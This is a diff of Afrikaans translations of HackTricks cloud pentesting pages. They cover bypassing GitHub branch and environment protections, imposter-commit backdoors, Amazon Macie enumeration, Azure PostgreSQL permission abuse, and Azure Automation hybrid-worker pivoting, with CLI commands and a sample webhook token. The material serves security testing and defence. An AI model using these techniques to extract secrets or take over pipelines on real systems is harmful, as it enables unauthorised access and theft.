- **Sluit administrateurs in**: As dit nie ingestel is nie en jy is admin van die repo, kan jy hierdie tak beskermings omseil.
- **PR Hijacking**: Jy mag in staat wees om **die PR van iemand anders te wysig** deur kwaadwillige kode by te voeg, die resulterende PR self goed te keur en alles saam te voeg.
- **Verwydering van Tak Beskermings**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel.
- **Omseiling van druk beskermings**: As 'n repo **slegs sekere gebruikers toelaat** om druk (kode saam te voeg) in takke te stuur (die tak beskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer).
- As jy **skrywe toegang oor die repo het, maar jy mag nie kode druk nie** as gevolg van die tak beskerming, kan jy steeds **'n nuwe tak skep** en binne dit 'n **github aksie skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **tak beskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode druk na die tak die **github aksie uitvoer**.
- **PR Hijacking**: Jy kan dalk in staat wees om die **PR van iemand anders te wysig** deur kwaadwillige kode by te voeg, die resulterende PR self goed te keur en alles saam te voeg.
- **Verwydering van Branch Protections**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel.
- **Omseiling van push beskermings**: As 'n repo **slegs sekere gebruikers toelaat** om push (kode saam te voeg) in takke te stuur (die tak beskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer).
- As jy **skrywe toegang oor die repo het, maar jy mag nie kode push nie** as gevolg van die tak beskerming, kan jy steeds 'n **nuwe tak skep** en binne dit 'n **github action skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **tak beskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode push na die tak die **github action uitvoer**.
## Omseiling van Omgewings Beskermings
## Bypass Environments Protections
Vir 'n inleiding oor [**Github Omgewing kyk die basiese inligting**](basic-github-information.md#git-environments).
Vir 'n inleiding oor [**Github Environment kyk die basiese inligting**](basic-github-information.md#git-environments).
In die geval dat 'n omgewing **van alle takke toegang kan verkry**, is dit **nie beskerm nie** en jy kan maklik toegang verkry tot die geheime binne die omgewing. Let daarop dat jy dalk repos mag vind waar **alle takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan druk** en jy kan die geheime **uitvoer** deur 'n nuwe github aksie te skep (of een te wysig).
In die geval dat 'n omgewing **van al die takke toeganklik is**, is dit **nie beskerm nie** en jy kan maklik toegang tot die geheime binne die omgewing verkry. Let daarop dat jy repos mag vind waar **al die takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan push** en jy kan die geheime **ekstrak** deur 'n nuwe github action te skep (of een te wysig).
Let daarop dat jy dalk die randgeval mag vind waar **alle takke beskerm is** (deur wildcard `*`) en dit is gespesifiseer **wie kode na die takke kan druk** (_jy kan dit in die tak beskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github aksie uitvoer omdat jy 'n tak kan skep en die druktrigger oor homself kan gebruik. Die **tak beskerming laat die druk na 'n nuwe tak toe, so die github aksie sal geaktiveer word**.
Let op, dat jy die randgeval mag vind waar **al die takke beskerm is** (deur wildcard `*`) dit is gespesifiseer **wie kode na die takke kan push** (_jy kan dit in die tak beskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github action uitvoer omdat jy 'n tak kan skep en die push trigger oor homself kan gebruik. Die **tak beskerming laat die push na 'n nuwe tak toe sodat die github action geaktiveer sal word**.
```yaml
push: # Run it when a push is made to a branch
branches:
@@ -211,12 +355,12 @@ Let wel dat **na die skepping** van die tak die **takbeskerming op die nuwe tak
- Skep **webhooks** om inligting te eksfiltreer
- Nooi **buitelandse samewerkers**
- **Verwyder** **webhooks** wat deur die **SIEM** gebruik word
- Skep/wysig **Github Action** met 'n **agterdeur**
- Skep/wysig **Github Action** met 'n **terugdeur**
- Vind **kwulnerbare Github Action vir opdraginjekie** deur **geheime** waarde wysiging
### Imposter Commits - Agterdeur via repo commits
### Imposter Commits - Terugdeur via repo commits
In Github is dit moontlik om **'n PR na 'n repo van 'n fork te skep**. Selfs al word die PR **nie aanvaar nie**, sal 'n **commit** id binne die oorspronklike repo geskep word vir die fork weergawe van die kode. Daarom **kan 'n aanvaller 'n spesifieke commit van 'n blykbaar legitieme repo wat nie deur die eienaar van die repo geskep is nie, vaspen**.
In Github is dit moontlik om **'n PR na 'n repo van 'n fork te skep**. Selfs al word die PR **nie aanvaar nie**, sal 'n **commit** id binne die oorspronklike repo geskep word vir die fork weergawe van die kode. Daarom **kan 'n aanvaller 'n spesifieke commit van 'n blykbaar legitieme repo wat nie deur die eienaar van die repo geskep is nie, pin.**
Soos [**dit**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
@@ -233,4 +377,12 @@ echo 'hello world!'
```
Vir meer inligting, kyk na [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Verwysings
- [Hoe ons CodeRabbit uitgebuit het: van 'n eenvoudige PR na RCE en skrywe toegang op 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop uitbreidings (vereis)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Verifikasie met 'n GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Lys installasies vir die geverifieerde app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Skep 'n installasie toegangstoken vir 'n app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,48 +1,142 @@
# Amazon Macie
## Inleiding
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macie is 'n datasekuriteitsdiens wat sensitiewe data ontdek deur masjienleer en patroonherkenning te gebruik, bied sig op datasekuriteitsrisiko's, en stel outomatiese beskerming teen daardie risiko's in staat.
## Macie
Amazon Macie val uit as 'n diens wat ontwerp is om **outomaties data te ontdek, te klassifiseer en te identifiseer** binne 'n AWS-rekening. Dit benut **masjienleer** om data deurlopend te monitor en te analiseer, met die primêre fokus op die opsporing en waarskuwing teen ongewone of verdagte aktiwiteite deur **cloud trail event** data en gebruikersgedragspatrone te ondersoek.
Belangrike Kenmerke van Amazon Macie:
1. **Aktiewe Data-oorsig**: Gebruik masjienleer om data aktief te hersien soos verskeie aksies binne die AWS-rekening plaasvind.
2. **Anomalie-opsporing**: Identifiseer onreëlmatige aktiwiteite of toegangspatrone, wat waarskuwings genereer om potensiële data blootstellingsrisiko's te verminder.
3. **Deurlopende Monitering**: Monitor en ontdek outomaties nuwe data in Amazon S3, wat masjienleer en kunsmatige intelligensie gebruik om aan te pas by data toegangspatrone oor tyd.
4. **Data Klassifikasie met NLP**: Gebruik natuurlike taalverwerking (NLP) om verskillende datatipes te klassifiseer en te interpreteer, en risiko punte toe te ken om bevindings te prioritiseer.
5. **Sekuriteitsmonitering**: Identifiseer sekuriteitsgevoelige data, insluitend API-sleutels, geheime sleutels, en persoonlike inligting, wat help om data lekke te voorkom.
Amazon Macie is 'n **streekdiens** en vereis die 'AWSMacieServiceCustomerSetupRole' IAM Rol en 'n geaktiveerde AWS CloudTrail vir funksionaliteit.
### Waarskuwingstelsel
Macie kategoriseer waarskuwings in vooraf gedefinieerde kategorieë soos:
- Anonimiseerde toegang
- Data nakoming
- Kredensiële verlies
- Privilege-eskalasie
- Ransomware
- Verdachte toegang, ens.
Hierdie waarskuwings bied gedetailleerde beskrywings en resultaatopbrekings vir effektiewe reaksie en oplossing.
### Dashboard Kenmerke
Die dashboard kategoriseer data in verskeie afdelings, insluitend:
- S3 Objekte (volgens tydsbereik, ACL, PII)
- Hoë risiko CloudTrail gebeurtenisse/gebruikers
- Aktiwiteit Lokasies
- CloudTrail gebruikersidentiteitstipes, en meer.
### Gebruiker Kategorisering
Gebruikers word geklassifiseer in vlakke gebaseer op die risiko vlak van hul API-oproepe:
- **Platinum**: Hoë risiko API-oproepe, dikwels met admin voorregte.
- **Gold**: Infrastruktuur-verwante API-oproepe.
- **Silver**: Medium risiko API-oproepe.
- **Bronze**: Lae risiko API-oproepe.
### Identiteitstipes
Identiteitstipes sluit Root, IAM gebruiker, Aangenome Rol, Gefedereerde Gebruiker, AWS Rekening, en AWS Diens in, wat die bron van versoeke aandui.
### Data Klassifikasie
Data klassifikasie sluit in:
- Inhouds tipe: Gebaseer op die gedetecteerde inhoud tipe.
- Lêeruitbreiding: Gebaseer op lêeruitbreiding.
- Tema: Gekategoriseer volgens sleutelwoorde binne lêers.
- Regex: Gekategoriseer gebaseer op spesifieke regex patrone.
Die hoogste risiko onder hierdie kategorieë bepaal die lêer se finale risikoniveau.
### Navorsing en Analise
Amazon Macie's navorsingsfunksie laat toe vir pasgemaakte navrae oor alle Macie data vir diepgaande analise. Filters sluit CloudTrail Data, S3 Emmer eienskappe, en S3 Objekte in. Boonop ondersteun dit die uitnodiging van ander rekeninge om Amazon Macie te deel, wat samewerkende data bestuur en sekuriteitsmonitering fasiliteer.
## Lys van Bevindinge met AWS Console
Na die skandering van 'n spesifieke S3-bucket vir geheime en sensitiewe data, sal bevindinge gegenereer en in die konsole vertoon word. Geautoriseerde gebruikers met voldoende regte kan hierdie bevindinge vir elke taak sien en lys.
Na die skandering van 'n spesifieke S3-emmer vir geheime en sensitiewe data, sal bevindinge gegenereer en in die konsole vertoon word. Geautoriseerde gebruikers met voldoende toestemmings kan hierdie bevindinge vir elke taak sien en lys.
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
## Onthulling van Geheim
Amazon Macie bied 'n funksie wat gedetecteerde geheime in duidelike teksformaat vertoon. Hierdie funksionaliteit help by die identifisering van die gecompromitteerde data. Dit is egter nie algemeen as beste praktyk beskou om geheime in duidelike teks te vertoon nie weens sekuriteitskwessies, aangesien dit potensieel sensitiewe inligting kan blootstel.
Amazon Macie bied 'n funksie wat gedetecteerde geheime in duidelike teksformaat vertoon. Hierdie funksionaliteit help in die identifikasie van die gecompromitteerde data. Dit is egter nie algemeen beskou as 'n beste praktyk om geheime in duidelike teks te vertoon nie weens sekuriteitskwessies, aangesien dit potensieel sensitiewe inligting kan blootstel.
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Enumerasie
### Enumerasie
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Exploitation
> [!TIP]
> Vanuit 'n aanvaller se perspektief is hierdie diens nie gemaak om die aanvaller te detecteer nie, maar om sensitiewe inligting in die gestoor lêers te detecteer. Daarom kan hierdie diens **'n aanvaller help om sensitiewe inligting** binne die emmers te vind.\
> Dit is egter moontlik dat 'n aanvaller ook geïnteresseerd kan wees om dit te ontwrig om te voorkom dat die slagoffer waarskuwings ontvang en daardie inligting makliker te steel.
TODO: PRs is welkom!
## References
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -9,27 +9,28 @@ Vir meer inligting oor PostgreSQL Databasis, kyk:
../az-services/az-postgresql.md
{{#endref}}
### Gebruik pg_azure_storage uitbreiding om Stoor rekeninge te benader
Dit is moontlik om die uitbreiding **`pg_azure_storage` te gebruik om Azure Stoor rekeninge** vanaf 'n PostgreSQL bediener te benader. Dit sal die regte van die bestuurde identiteit wat aan die bediener toegeken is, gebruik om toegang tot die stoor rekening te verkry.
Vir meer inligting, kyk na hierdie tegniek wat in die regte eskalasie afdeling verduidelik word:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Met hierdie toestemming kan jy nuwe databasis skep binne 'n Postgres Flexible Server instansie op Azure. Terwyl hierdie aksie self nie bestaande hulpbronne wysig nie, kan oormatige of ongeoorloofde skep van databasisse lei tot hulpbronverbruik, of potensiële misbruik van die bediener.
Met hierdie reg kan jy nuwe databasis binne 'n Postgres Flexible Server instansie op Azure skep. Terwyl hierdie aksie self nie bestaande hulpbronne wysig nie, kan oormatige of ongeoorloofde skepping van databasisse lei tot hulpbronverbruik, of potensiële misbruik van die bediener.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Met hierdie toestemming kan jy die skep van rugsteun vir 'n Postgres Flexible Server-instansie op Azure begin. Dit stel gebruikers in staat om op aanvraag rugsteun te genereer, wat nuttig kan wees om data op spesifieke tydpunte te bewaar.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Met hierdie toestemming kan jy die Advanced Threat Protection (ATP) instellings vir 'n Postgres Flexible Server instansie op Azure konfigureer of opdateer. Dit stel jou in staat om sekuriteitskenmerke te aktiveer of te deaktiveer wat ontwerp is om anomale aktiwiteite en potensiële bedreigings te detecteer en daarop te reageer.
Met hierdie toestemming kan jy die Advanced Threat Protection (ATP) instellings vir 'n Postgres Flexible Server instance op Azure konfigureer of opdateer. Dit stel jou in staat om sekuriteitskenmerke te aktiveer of te deaktiveer wat ontwerp is om anomale aktiwiteite en potensiële bedreigings te detecteer en daarop te reageer.
```bash
az postgres flexible-server threat-protection-policy update \
--name <server_name> \
@@ -38,7 +39,7 @@ az postgres flexible-server threat-protection-policy update \
```
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
Met hierdie toestemming kan jy firewallreëls vir 'n Postgres Flexible Server-instansie op Azure skep of wysig. Dit stel jou in staat om te beheer watter IP-adresse of -reekse toegang tot die bediener kan hê. Onbevoegde of onvanpaste gebruik van hierdie toestemming kan die bediener aan ongewenste of kwaadwillige toegang blootstel.
Met hierdie toestemming kan jy firewallreëls vir 'n Postgres Flexible Server-instantie op Azure skep of wysig. Dit stel jou in staat om te beheer watter IP-adresse of -reekse toegang tot die bediener kan hê. Onbevoegde of onvanpaste gebruik van hierdie toestemming kan die bediener aan ongewenste of kwaadwillige toegang blootstel.
```bash
# Create Rule
az postgres flexible-server firewall-rule create \

View File

@@ -4,21 +4,21 @@
## Basiese Inligting
Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomatieseer** soos hulpbronbestuur, konfigurasie, en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (skripte vir outomatisering wat uitgevoer word), **skedules**, en **hibrid werkersgroepe** om outomatiserings **take** uit te voer, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomaties** soos hulpbronbestuur, konfigurasie, en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (skripte vir outomatisering wat uitgevoer word), **skedules**, en **hibridewerkersgroepe** om outomatiserings **take** te laat loop, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
### Instellings
- **Geloofsbriewe**: Die wagwoord is slegs binne 'n runbook binne die automatiseringsrekening toeganklik, dit word gebruik om **gebruikersname en wagwoorde veilig te stoor**.
- **Veranderlikes**: Gebruik om **konfigurasie data** te stoor wat in runbooks gebruik kan word. Dit kan ook sensitiewe inligting soos API sleutels wees. As die veranderlike **versleuteld gestoor** is, is dit slegs beskikbaar binne 'n runbook binne die automatiseringsrekening.
- **Veranderlikes**: Gebruik om **konfigurasiedata** te stoor wat in runbooks gebruik kan word. Dit kan ook sensitiewe inligting soos API-sleutels wees. As die veranderlike **versleuteld gestoor** is, is dit slegs beskikbaar binne 'n runbook binne die automatiseringsrekening.
- **Sertifikate**: Gebruik om **sertifikate** te stoor wat in runbooks gebruik kan word.
- **Verbindings**: Gebruik om **verbindinginligting** na eksterne dienste te stoor. Dit kan **sensitiewe inligting** bevat.
- **Netwerktoegang**: Dit kan op **publiek** of **privaat** gestel word.
### Runbooks & Take
'n Runbook in Azure Automatisering is 'n **skrip wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan in PowerShell, Python, of grafiese redigeerders geskryf word. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatisseer.
'n Runbook in Azure Automatisering is 'n **skrip wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan in PowerShell, Python, of grafiese redigeerders geskryf word. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatiseer.
In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (soos geloofsbriewe) voorkom.
In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (soos geloofsbriewe) bevat.
'n **Taak is 'n instansie van 'n Runbook-uitvoering**. Wanneer jy 'n Runbook uitvoer, word 'n Taak geskep om daardie uitvoering te volg. Elke taak sluit in:
@@ -33,22 +33,22 @@ In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (
Daar is 3 hoofmaniere om 'n Runbook uit te voer:
- **Skedules**: Hierdie word gebruik om Runbooks op 'n **spesifieke tyd** of **interval** te **aktiveer**.
- **Webhooks**: Hierdie is **HTTP eindpunte** wat gebruik kan word om Runbooks van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie.
- **Webhooks**: Hierdie is **HTTP-eindpunte** wat gebruik kan word om Runbooks van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie.
- **Handmatige Aktivering**: Jy kan 'n Runbook **handmatig aktiveer** vanaf die Azure-portaal en vanaf die cli.
### Bronbeheer
Dit laat toe om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**.
Dit maak dit moontlik om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**.
Wanneer die sinkronisasie geaktiveer is, word in die **Github-repo 'n webhook geskep** om die sinkronisasie te aktiveer elke keer as 'n push-gebeurtenis plaasvind. Voorbeeld van 'n webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Wanneer die sinkronisasie geaktiveer is, word daar in die **Github-repo 'n webhook geskep** om die sinkronisasie te aktiveer elke keer as 'n push-gebeurtenis plaasvind. Voorbeeld van 'n webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Let daarop dat hierdie webhooks **nie sigbaar sal wees** wanneer webhooks in die geassosieerde runbooks na die Github-repo gelys word nie. Let ook daarop dat dit **nie moontlik is om die repo-URL** van 'n bronbeheer te verander sodra dit geskep is nie.
Ten einde vir die geconfigureerde bronbeheer om te werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruiker bestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit nodig om die kliënt-ID van die gebruiker MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** aan te dui.
Om te verseker dat die geconfigureerde bronbeheer werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruikersbestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit nodig om die kliënt-ID van die gebruikers MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** aan te dui.
### Tydsone Omgewings
### Tydslope
Wanneer 'n Runbook geskep word, is dit moontlik om die tydsone omgewing te kies. Standaard is die volgende tydsone omgewings beskikbaar:
Wanneer 'n Runbook geskep word, is dit moontlik om die tydslope te kies. Standaard is die volgende tydslope beskikbaar:
- **Powershell 5.1**
- **Powershell 7.1**
@@ -57,32 +57,32 @@ Wanneer 'n Runbook geskep word, is dit moontlik om die tydsone omgewing te kies.
- **Python 3.8**
- **Python 2.7**
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van python, is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell, is dit moontlik om `.zip` pakkette met die modules op te laai wat in die tydsone moet wees.
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van Python is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell is dit moontlik om `.zip` pakkette met die modules op te laai wat in die tydslope moet wees.
### Hibrid Werkersgroepe
### Hibridewerkersgroepe
In Azure Automatisering is die standaard uitvoeringsomgewing vir runbooks die **Azure Sandbox**, 'n wolk-gebaseerde platform wat deur Azure bestuur word, geskik vir take wat Azure-bronne betrek. Hierdie sandbox het egter beperkings, soos beperkte toegang tot plaaslike bronne en beperkings op uitvoerings tyd en hulpbron gebruik. Om hierdie beperkings te oorkom, word Hibrid Werkersgroepe gebruik. 'n Hibrid Werkersgroep bestaan uit **een of meer Hibrid Runbook Werkers wat op jou eie masjiene geïnstalleer is**, hetsy plaaslik, in ander wolkomgewings of Azure VM's. Hierdie opstelling laat runbooks toe om direk op hierdie masjiene uit te voer, wat direkte toegang tot plaaslike bronne bied, die vermoë om langer en meer hulpbron-intensiewe take uit te voer, en die buigsaamheid om met omgewings buite Azure se onmiddellike bereik te kommunikeer.
In Azure Automatisering is die standaard uitvoeringsomgewing vir runbooks die **Azure Sandbox**, 'n wolk-gebaseerde platform wat deur Azure bestuur word, geskik vir take wat Azure-bronne betrek. Hierdie sandbox het egter beperkings, soos beperkte toegang tot plaaslike bronne en beperkings op uitvoerings tyd en hulpbronverbruik. Om hierdie beperkings te oorkom, word Hibridewerkersgroepe gebruik. 'n Hibridewerkersgroep bestaan uit **een of meer Hibrid Runbook Workers wat op jou eie masjiene geïnstalleer is**, of dit nou plaaslik, in ander wolkomgewings of Azure VM's is. Hierdie opstelling laat runbooks toe om direk op hierdie masjiene uit te voer, wat direkte toegang tot plaaslike bronne bied, die vermoë om langer en meer hulpbron-intensiewe take uit te voer, en die buigsaamheid om met omgewings buite Azure se onmiddellike bereik te kommunikeer.
Wanneer 'n hibrid werkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik moet word. Daar is 2 opsies:
Wanneer 'n hibridewerkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik moet word. Daar is 2 opsies:
- **Standaard geloofsbriewe**: Jy hoef nie die geloofsbriewe te verskaf nie en die runbooks sal binne die VM's as **Stelsel** uitgevoer word.
- **Spesifieke geloofsbriewe**: Jy moet die naam van die geloofsbriewe objek binne die automatiseringsrekening verskaf, wat gebruik sal word om die **runbooks binne die VM's** uit te voer. Daarom kan dit in hierdie geval moontlik wees om **geldige geloofsbriewe** vir die VM's te **steel**.
Daarom, as jy kan kies om 'n **Runbook** in 'n **Hibrid Werker** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (nuttige pivot tegniek).
As jy dus kan kies om 'n **Runbook** in 'n **Hibridwerker** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (nuttige pivot tegniek).
Boonop, as die hibrid werker in Azure met ander Bestuurde Identiteite aangeheg is, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata diens**.
Boonop, as die hibridwerker in Azure met ander Bestuurde Identiteite aangeheg is, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata-diens**.
> [!TIP]
> Onthou dat die **metadata diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
> Onthou dat die **metadata-diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
### Toestand Konfigurasie (SC)
> [!WARNING]
> Soos aangedui in [die dokumentasie](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskaf word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om die **toestand** van jou VM's te **konfigureer** en **onderhou**. Dit is moontlik om **te skep** en **toe te pas** DSC konfigurasies op **Windows** en **Linux** masjiene.
Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om **te konfigureer** en **die toestand** van jou VM's te **onderhou**. Dit is moontlik om **te skep** en **DSC-konfigurasies toe te pas** op **Windows** en **Linux** masjiene.
Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer**, wat dit moontlik maak om voorregte na die bestuurde identiteite van hierdie VM's te verhoog, potensieel om na nuwe netwerke te pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
Vanuit 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS-kode in al die geconfigureerde VM's uit te voer**, wat dit moontlik maak om voorregte na die bestuurde identiteite van hierdie VM's te eskaleer, wat potensieel na nuwe netwerke kan pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
## Opname
```bash
@@ -232,7 +232,13 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Verwysings
## Persistence
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## References
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)

View File

@@ -29,9 +29,9 @@ Daar is ook 'n paar **ingeboude rolle** wat toegeken kan word, en dit is ook moo
Daar is 4 maniere om aan 'n ACR te verifieer:
